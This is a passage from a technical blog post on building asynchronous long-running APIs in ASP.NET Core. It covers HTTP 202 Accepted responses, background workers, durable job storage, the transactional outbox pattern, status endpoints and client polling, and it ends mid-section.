href="https://substackcdn.com/image/fetch/$s_!Avgq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Avgq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Avgq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1956895,&quot;alt&quot;:&quot;Developer monitors an ASP.NET Core asynchronous API workflow with HTTP 202 and background processing. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/221265466?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Developer monitors an ASP.NET Core asynchronous API workflow with HTTP 202 and background processing. " title="Developer monitors an ASP.NET Core asynchronous API workflow with HTTP 202 and background processing. " srcset="https://substackcdn.com/image/fetch/$s_!Avgq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!Avgq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>ASP.NET Core provides a better approach: accept the request, return HTTP 202 Accepted, process the work independently, and let the client track its progress. In this guide, we&#8217;ll build that pattern using Minimal APIs, background workers, durable job storage, status endpoints, cancellation, idempotency, and production-ready failure handling.</p><h2>The Problem With Long-Running HTTP Requests</h2><p>Imagine an ASP.NET Core application that generates detailed financial reports.</p><p>A customer selects a date range and clicks Generate Report.</p><p>The application must retrieve millions of records, calculate totals, generate a PDF, and store the finished document.</p><p>For a small report, this might take two seconds.</p><p>For a large report, it could take several minutes.</p><p>A straightforward implementation might look like this:</p><pre><code><code>app.MapPost("/api/reports", async (
    ReportRequest request,
    ReportService service,
    CancellationToken cancellationToken) =&gt;
{
    var report = await service.GenerateAsync(
        request,
        cancellationToken);

    return Results.Ok(report);
});</code></code></pre><p>The code is asynchronous, but the HTTP request still waits for the entire report to finish.</p><p>That distinction matters.</p><p>The <code>await</code> keyword allows the server to avoid blocking a thread during supported asynchronous operations. It does not make the operation complete sooner, and it does not eliminate the HTTP request&#8217;s lifetime.</p><p>The client must remain connected while the work continues.</p><p>A reverse proxy may impose a timeout. The user&#8217;s network connection may fail. A mobile application may move into the background. The browser may close.</p><p>Even if the server can technically keep the request open, the user experience becomes fragile.</p><p>A better design separates accepting the request from completing the work.</p><h2>Asynchronous Code and Asynchronous APIs Are Different</h2><p>This is one of the most important distinctions in this article.</p><p>Consider:</p><pre><code><code>var result = await service.ProcessAsync();</code></code></pre><p>This is asynchronous programming.</p><p>The application can release the current thread while waiting for asynchronous I/O.</p><p>But the caller still waits for the result.</p><p>Now consider:</p><pre><code><code>POST /api/reports</code></code></pre><p>Response:</p><pre><code><code>HTTP/1.1 202 Accepted
Location: /api/operations/8f42a1
Retry-After: 5</code></code></pre><p>The server accepts the request and returns immediately with information about how to check its progress.</p><p>The actual report generation happens independently.</p><p>This is an asynchronous API workflow.</p><p>The two approaches solve different problems.</p><p>Asynchronous programming improves how application code handles waiting.</p><p>Asynchronous API design changes how clients interact with operations that cannot finish promptly.</p><p>A production application often needs both.</p><h2>Understanding HTTP 202 Accepted</h2><p>HTTP 202 Accepted tells the client that the server has accepted a request for processing, but the requested operation has not necessarily completed.</p><p>The response does not promise that processing will eventually succeed.</p><p>The operation may later fail, be rejected by downstream processing, or be cancelled.</p><p>That makes HTTP 202 different from a normal success response.</p><p>For example:</p><pre><code><code>HTTP/1.1 200 OK</code></code></pre><p>usually indicates that the request has succeeded and the response represents its result.</p><pre><code><code>HTTP/1.1 201 Created</code></code></pre><p>indicates that the request has resulted in the creation of a resource.</p><pre><code><code>HTTP/1.1 202 Accepted</code></code></pre><p>indicates that processing has been accepted but remains incomplete.</p><p>HTTP itself does not provide a mechanism for sending a later final status code for the original request.</p><p>The application therefore needs another way to communicate the outcome.</p><p>The usual solution is an operation-status resource.</p><h2>The 202 Accepted Pattern</h2><p>A typical long-running API workflow looks like this: </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Yu3e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Yu3e!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 424w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 848w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 1272w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Yu3e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg" width="1456" height="1422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1422,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2077,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/svg+xml&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/221265466?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Yu3e!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 424w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 848w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 1272w, https://substackcdn.com/image/fetch/$s_!Yu3e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1be96f77-85c4-4cb7-bbca-23c383e4e1a2_340x332.svg 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The HTTP request finishes quickly while the operation continues independently.</em></p><p>The important architectural decision is that the client does not need to remain connected while the job runs.</p><p>Once the operation is accepted, the client can close the application, disconnect, or return later.</p><p>The server maintains the operation&#8217;s state independently.</p><p>This is particularly useful for reports, imports, exports, video processing, bulk updates, machine-learning inference jobs, and other resource-intensive tasks.</p><h2>Designing the API Contract First</h2><p>In our previous article, Contract-First API Development in ASP.NET Core, we explored why an API contract should be defined before implementation.</p><p>That principle becomes especially valuable with asynchronous APIs because the contract describes an entire workflow rather than a single request and response.</p><p>For our report-generation example, we&#8217;ll use three endpoints:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;9c3576f9-e795-4798-8810-98cfb867c0ae&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Endpoint                        Purpose
POST /api/reports               Submit a report-generation request
GET /api/operations/{id}        Check operation status
GET /api/reports/{id}/download  Retrieve a completed report</code></pre></div><p>A production API may also expose a cancellation endpoint, which we&#8217;ll discuss later.</p><p>The client needs to understand what an accepted response contains, which operation states are possible, how often to poll, and where to retrieve the final result.</p><p>Those details belong in the API contract.</p><h2>Returning a Useful 202 Response</h2><p>A bare HTTP 202 response is valid, but it leaves the client guessing about what happens next.</p><p>A more useful response includes an operation identifier and a status URL.</p><p>For example:</p><pre><code><code>HTTP/1.1 202 Accepted
Location: /api/operations/8f42a1
Retry-After: 5
Content-Type: application/json</code></code></pre><pre><code><code>{
  "operationId": "8f42a1",
  "status": "queued",
  "statusUrl": "/api/operations/8f42a1"
}</code></code></pre><p>The <code>Location</code> header identifies the resource the client should query.</p><p>The <code>Retry-After</code> header provides a polling suggestion. Clients should not assume it is a guaranteed completion time.</p><p>The response body gives clients the same information in a convenient structured format.</p><p>This makes the API self-describing.</p><p>The client knows that the operation exists, where to check its status, and that processing is still pending.</p><h2>Designing Operation States</h2><p>Long-running operations need an explicit lifecycle.</p><p>A useful model is:</p><pre><code><code>Queued
  &#8595;
Running
  &#9500;&#9472;&#9472; Completed
  &#9500;&#9472;&#9472; Failed
  &#9492;&#9472;&#9472; Cancelled</code></code></pre><p>Each state has a specific meaning.</p><p>Queued means the request has been accepted but processing has not started.</p><p>Running means a worker has claimed the operation and is processing it.</p><p>Completed means the work finished successfully and its result is available.</p><p>Failed means processing could not complete successfully.</p><p>Cancelled means the operation was stopped through an accepted cancellation request or policy.</p><p>Some applications also need states such as <code>retrying</code>, <code>cancellation_requested</code>, or <code>expired</code>.</p><p>Avoid adding states simply because they might be useful someday.</p><p>The lifecycle should represent meaningful differences that clients and operators need to understand.</p><h2>Building a Minimal ASP.NET Core Implementation</h2><p>Let&#8217;s start with a small example using ASP.NET Core Minimal APIs.</p><p>We&#8217;ll define the report request and operation response models.</p><pre><code><code>public record ReportRequest(
    DateOnly StartDate,
    DateOnly EndDate);

public record OperationStatusResponse(
    Guid OperationId,
    string Status,
    string? ResultUrl,
    string? Error);</code></code></pre><p>For this first example, we&#8217;ll use an in-memory dictionary to hold operation state.</p><p>This keeps the mechanics easy to understand.</p><p>It is not suitable for reliable production processing because operation records disappear when the process restarts.</p><p>We&#8217;ll address durable storage shortly.</p><p>First, define the operation model:</p><pre><code><code>public sealed class OperationRecord
{
    public Guid Id { get; init; }
    public string Status { get; set; } = "queued";
    public string? ResultUrl { get; set; }
    public string? Error { get; set; }
}</code></code></pre><p>Now create an operation store:</p><pre><code><code>using System.Collections.Concurrent;

public sealed class InMemoryOperationStore
{
    private readonly ConcurrentDictionary&lt;Guid, OperationRecord&gt;
        _operations = new();

    public void Add(OperationRecord operation)
    {
        _operations[operation.Id] = operation;
    }

    public OperationRecord? Get(Guid id)
    {
        return _operations.GetValueOrDefault(id);
    }
}</code></code></pre><p><code>ConcurrentDictionary</code> makes dictionary operations thread-safe, but it does not make arbitrary changes to an <code>OperationRecord</code> atomic.</p><p>For a production implementation, state transitions should be handled through controlled store operations rather than unrestricted property mutation.</p><h2>Accepting the Request</h2><p>Next, create an endpoint that accepts report-generation requests.</p><pre><code><code>app.MapPost("/api/reports", (
    ReportRequest request,
    InMemoryOperationStore store,
    Channel&lt;Guid&gt; queue) =&gt;
{
    if (request.StartDate &gt; request.EndDate)
    {
        return Results.BadRequest(
            "Start date must not be after end date.");
    }

    var operation = new OperationRecord
    {
        Id = Guid.NewGuid()
    };

    store.Add(operation);

    if (!queue.Writer.TryWrite(operation.Id))
    {
        return Results.StatusCode(
            StatusCodes.Status503ServiceUnavailable);
    }

    var statusUrl =
        $"/api/operations/{operation.Id}";

    return Results.Accepted(
        statusUrl,
        new
        {
            operationId = operation.Id,
            status = operation.Status,
            statusUrl
        });
});</code></code></pre><p>This illustrates the core HTTP pattern: validate, create an operation, enqueue work, and return 202.</p><p>However, it is deliberately incomplete. The queue stores only the operation ID, while a real worker also needs access to the original request parameters. The example also requires registration of the store and queue, and it does not atomically coordinate storing the operation with enqueueing it.</p><p>For production, both the operation data and its scheduling state must be durable and recoverable.</p><h2>Why the Background Worker Matters</h2><p>The API endpoint should not perform the expensive report generation itself.</p><p>Instead, a background worker consumes accepted operations.</p><p>In our earlier guide on <em><a href="https://www.asptoday.com/p/aspnet-core-background-services-and">Background Services in ASP.NET Core</a></em>, we explored how hosted services execute work independently of incoming HTTP requests. The same foundation allows long-running API operations to continue processing after the server returns HTTP 202 Accepted. </p><p>ASP.NET Core applications can host background services using <code>BackgroundService</code>.</p><p>A simplified worker structure looks like this:</p><pre><code><code>public sealed class ReportWorker : BackgroundService
{
    private readonly Channel&lt;Guid&gt; _queue;
    private readonly ILogger&lt;ReportWorker&gt; _logger;

    public ReportWorker(
        Channel&lt;Guid&gt; queue,
        ILogger&lt;ReportWorker&gt; logger)
    {
        _queue = queue;
        _logger = logger;
    }

    protected override async Task ExecuteAsync(
        CancellationToken stoppingToken)
    {
        await foreach (
            var operationId in _queue.Reader.ReadAllAsync(
                stoppingToken))
        {
            _logger.LogInformation(
                "Processing operation {OperationId}",
                operationId);

            // Load the request and operation record.
            // Claim the operation.
            // Execute the report job.
            // Persist completion or failure.
        }
    }
}</code></code></pre><p>This is a structural example rather than a complete report processor.</p><p>The important idea is that the worker has its own execution lifecycle.</p><p>It can continue processing after the original HTTP request has ended.</p><p>For additional details, Microsoft&#8217;s <em><a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/host/hosted-services?view=aspnetcore-10.0&amp;tabs=visual-studio">ASP.NET Core hosted services documentation</a></em> explains how hosted services and background workers integrate with the application&#8217;s host.</p><h2>Avoid Fire-and-Forget Tasks Inside Endpoints</h2><p>A tempting shortcut is:</p><pre><code><code>app.MapPost("/api/reports", () =&gt;
{
    _ = Task.Run(async () =&gt;
    {
        await GenerateReportAsync();
    });

    return Results.Accepted();
});</code></code></pre><p>This looks simple.</p><p>It is also unreliable for important work.</p><p>The task is not durably recorded.</p><p>The application may shut down while it is running.</p><p>Exceptions can be missed or poorly observed.</p><p>Request-scoped services may already be disposed when the task tries to use them.</p><p>There is no reliable retry or recovery mechanism.</p><p>A background task launched this way is not automatically a durable job.</p><p>For noncritical, disposable work, simple background execution can sometimes be acceptable.</p><p>For reports, imports, payments, exports, or business operations that must complete reliably, use managed background processing with durable state.</p><h2>Why an In-Memory Queue Is Not Enough</h2><p>A bounded <code>Channel&lt;T&gt;</code> is useful for coordinating work inside a running process.</p><p>It supports asynchronous producers and consumers and can apply backpressure when the queue reaches capacity.</p><p>For example:</p><pre><code><code>builder.Services.AddSingleton(
    Channel.CreateBounded&lt;Guid&gt;(
        new BoundedChannelOptions(100)
        {
            FullMode = BoundedChannelFullMode.Wait,
            SingleReader = true,
            SingleWriter = false
        }));</code></code></pre><p>This configuration allows up to 100 queued identifiers in the channel.</p><p>But the channel lives in application memory.</p><p>If the process crashes, its contents disappear.</p><p>That is a serious problem if the API has already returned 202 Accepted.</p><p>The client believes the operation was accepted, but the system may have lost the only reference to the work.</p><p>For durable processing, we need a persistent source of truth.</p><h2>Persist the Operation Before Acknowledging It</h2><p>A production-ready asynchronous API should record accepted work durably before returning HTTP 202.</p><p>The operation record might contain:</p><pre><code><code>OperationId
OperationType
RequestPayload
Status
CreatedAt
StartedAt
CompletedAt
AttemptCount
NextAttemptAt
ResultLocation
ErrorDetails</code></code></pre><p>For example:</p><pre><code><code>CREATE TABLE ApiOperations
(
    Id UNIQUEIDENTIFIER PRIMARY KEY,
    OperationType NVARCHAR(100) NOT NULL,
    RequestPayload NVARCHAR(MAX) NOT NULL,
    Status NVARCHAR(30) NOT NULL,
    AttemptCount INT NOT NULL DEFAULT 0,
    CreatedAt DATETIME2 NOT NULL,
    StartedAt DATETIME2 NULL,
    CompletedAt DATETIME2 NULL,
    ResultLocation NVARCHAR(1000) NULL,
    ErrorDetails NVARCHAR(MAX) NULL
);</code></code></pre><p>This example uses SQL Server syntax. The same architecture can be implemented with PostgreSQL or another transactional database.</p><p>The essential requirement is durability.</p><p>Once the API confirms acceptance, the system must have enough persisted information to resume or recover the operation.</p><h2>The Database-Backed Job Pattern</h2><p>A simple and reliable architecture uses the operation table itself as the source of pending work.</p><p>The API transaction inserts an operation record with status <code>queued</code>.</p><p>The worker periodically finds eligible queued records.</p><p>It claims an operation and marks it <code>running</code>.</p><p>After processing, it records <code>completed</code> or <code>failed</code>.</p><p>The workflow becomes:</p><pre><code><code>POST /api/reports
       &#8595;
Validate request
       &#8595;
Insert operation into database
       &#8595;
Commit transaction
       &#8595;
Return 202 Accepted
       &#8595;
Worker claims queued operation
       &#8595;
Process report
       &#8595;
Persist result and final status</code></code></pre><p>This approach avoids a dangerous gap between saving the operation and publishing a separate queue message.</p><p>For small and medium workloads, a database-backed job table may be sufficient.</p><p>For larger systems, a message broker can distribute work across many workers.</p><h2>Using a Message Broker</h2><p>Suppose our platform processes thousands of reports every hour.</p><p>We might introduce a broker such as Azure Service Bus or RabbitMQ.</p><p>The architecture becomes:</p><pre><code><code>ASP.NET Core API
       &#8595;
Durable operation record
       &#8595;
Message broker
       &#8595;
Worker service
       &#8595;
Result storage
       &#8595;
Operation status update</code></code></pre><p>However, there is a subtle reliability problem.</p><p>What happens if the database transaction succeeds but publishing the message fails?</p><p>The operation exists, but no worker receives the notification.</p><p>What happens if the message is published but the database transaction fails?</p><p>A worker may receive a message referencing an operation that does not exist.</p><p>This is the classic dual-write problem.</p><h2>The Transactional Outbox Pattern</h2><p>The transactional outbox pattern solves this coordination problem when the database supports transactions covering both records.</p><p>Instead of saving an operation and immediately publishing a message in two independent steps, the application writes the operation and an outbox event in the same database transaction.</p><pre><code><code>Database transaction
    &#9500;&#9472;&#9472; Insert operation
    &#9492;&#9472;&#9472; Insert outbox message
           &#8595;
        Commit
           &#8595;
Outbox publisher
           &#8595;
Message broker
           &#8595;
Worker</code></code></pre><p>If the transaction fails, neither record is committed.</p><p>If it succeeds, both records exist.</p><p>A separate publisher reliably delivers pending outbox messages.</p><p>The publisher must tolerate retries and possible duplicate delivery.</p><p>This does not make the entire distributed workflow exactly-once. It makes the handoff recoverable and supports at-least-once delivery when implemented correctly.</p><p>That distinction becomes important when workers perform operations with external side effects.</p><h2>Designing the Status Endpoint</h2><p>Once an operation has been accepted, the client needs a way to check progress.</p><p>A status endpoint might look like this:</p><pre><code><code>GET /api/operations/8f42a1</code></code></pre><p>While queued:</p><pre><code><code>{
  "operationId": "8f42a1",
  "status": "queued",
  "resultUrl": null,
  "error": null
}</code></code></pre><p>While running:</p><pre><code><code>{
  "operationId": "8f42a1",
  "status": "running",
  "resultUrl": null,
  "error": null
}</code></code></pre><p>After completion:</p><pre><code><code>{
  "operationId": "8f42a1",
  "status": "completed",
  "resultUrl": "/api/reports/8102/download",
  "error": null
}</code></code></pre><p>The operation resource represents the state of the workflow.</p><p>It does not need to return the entire generated report.</p><p>For large files, returning a download URL is usually more efficient.</p><h2>Implementing the Status Endpoint</h2><p>With our earlier in-memory store, a simplified status endpoint looks like this:</p><pre><code><code>app.MapGet("/api/operations/{id:guid}", (
    Guid id,
    InMemoryOperationStore store) =&gt;
{
    var operation = store.Get(id);

    if (operation is null)
    {
        return Results.NotFound();
    }

    return Results.Ok(
        new OperationStatusResponse(
            operation.Id,
            operation.Status,
            operation.ResultUrl,
            operation.Error));
});</code></code></pre><p>For a real application, replace the in-memory store with a database-backed repository.</p><p>The endpoint should also verify that the caller is authorized to view the operation.</p><p>Knowing an operation ID must not automatically grant access to another customer&#8217;s report or processing status.</p><h2>Should Completed Operations Return 200 or 303?</h2><p>There is more than one valid way to design completion behavior.</p><p>One option is to return HTTP 200 with a completed status document:</p><pre><code><code>HTTP/1.1 200 OK</code></code></pre><pre><code><code>{
  "status": "completed",
  "resultUrl": "/api/reports/8102/download"
}</code></code></pre><p>Another option is to return HTTP 303 See Other and redirect the client to the completed resource.</p><pre><code><code>HTTP/1.1 303 See Other
Location: /api/reports/8102/download</code></code></pre><p>Both can be useful.</p><p>Returning a status document keeps the workflow explicit and makes it easy for clients to inspect completion metadata.</p><p>Returning 303 can be convenient when the completed operation produces a resource that the client should retrieve directly.</p><p>Choose one behavior deliberately and document it in OpenAPI.</p><p>Do not surprise clients by changing completion semantics between endpoints.</p><h2>Polling Without Overloading the API</h2><p>The simplest way to monitor an operation is polling.</p><p>The client submits the request, receives an operation URL, and checks that URL periodically.</p><p>For example:</p><pre><code><code>async function waitForOperation(statusUrl) {
    while (true) {
        const response = await fetch(statusUrl);

        if (!response.ok) {
            throw new Error("Unable to retrieve operation status");
        }

        const operation = await response.json();

        if (operation.status === "completed") {
            return operation.resultUrl;
        }

        if (operation.status === "failed") {
            throw new Error(
                operation.error ?? "Operation failed");
        }

        if (operation.status === "cancelled") {
            throw new Error("Operation was cancelled");
        }

        await new Promise(resolve =&gt;
            setTimeout(resolve, 5000));
    }
}</code></code></pre><p>This is a basic example. A production client should also support cancellation, a maximum waiting period, transient network failures, and server-provided polling guidance.</p><p>Polling is straightforward, but it creates traffic.</p><p>Imagine 100,000 active operations, with every client polling once per second.</p><p>That produces 100,000 status requests per second.</p><p>The status endpoint could become a bottleneck even if the actual background workers are healthy.</p><h2>Use Retry-After and Adaptive Polling</h2><p>A server can guide clients with:</p><pre><code><code>Retry-After: 5</code></code></pre><p>This suggests waiting five seconds before another status check.</p><p>For longer operations, the server may recommend a longer interval.</p><p>Clients can also use exponential backoff with a maximum delay.</p><p>For example:</p><pre><code><code>First poll:      2 seconds
Second poll:     4 seconds
Third poll:      8 seconds
Fourth poll:    15 seconds
Later polls:    15 seconds</code></code></pre><p>A small amount of random jitter can prevent many clients from polling simultaneously.</p><p>The goal is to balance timely updates with server efficiency.</p><p>A client should also stop polling after the operation reaches a terminal state.</p><h2>Polling Is Not the Only Option</h2><p>Some applications need immediate progress updates.</p><p>A user uploading a large video may want to see encoding progress in real time.</p><p>An administrator running a bulk migration may need continuous feedback.</p><p>Possible approaches include polling, Server-Sent Events, SignalR, and webhooks.</p><p>Polling is often the easiest default because it works across browsers, mobile apps, and external integrations.</p><p>SignalR can push progress updates to connected applications.</p><p>Server-Sent Events can stream one-way status updates over HTTP.</p><p>Webhooks can notify external systems when processing finishes.</p><p>These mechanisms can improve the user experience, but they should not become the only source of operation state.</p><p>If a client disconnects or misses a notification, it should still be able to retrieve the authoritative status.</p><h2>Progress Percentages Can Be Misleading</h2><p>Many applications display:</p><pre><code><code>Processing: 65%</code></code></pre><p>But what does 65 percent actually mean?</p><p>If the job processes 10,000 records and has completed 6,500, the percentage may be meaningful.</p><p>However, some workflows contain stages with unpredictable durations.</p><p>For example:</p><pre><code><code>Retrieve data
Validate data
Generate report
Upload file
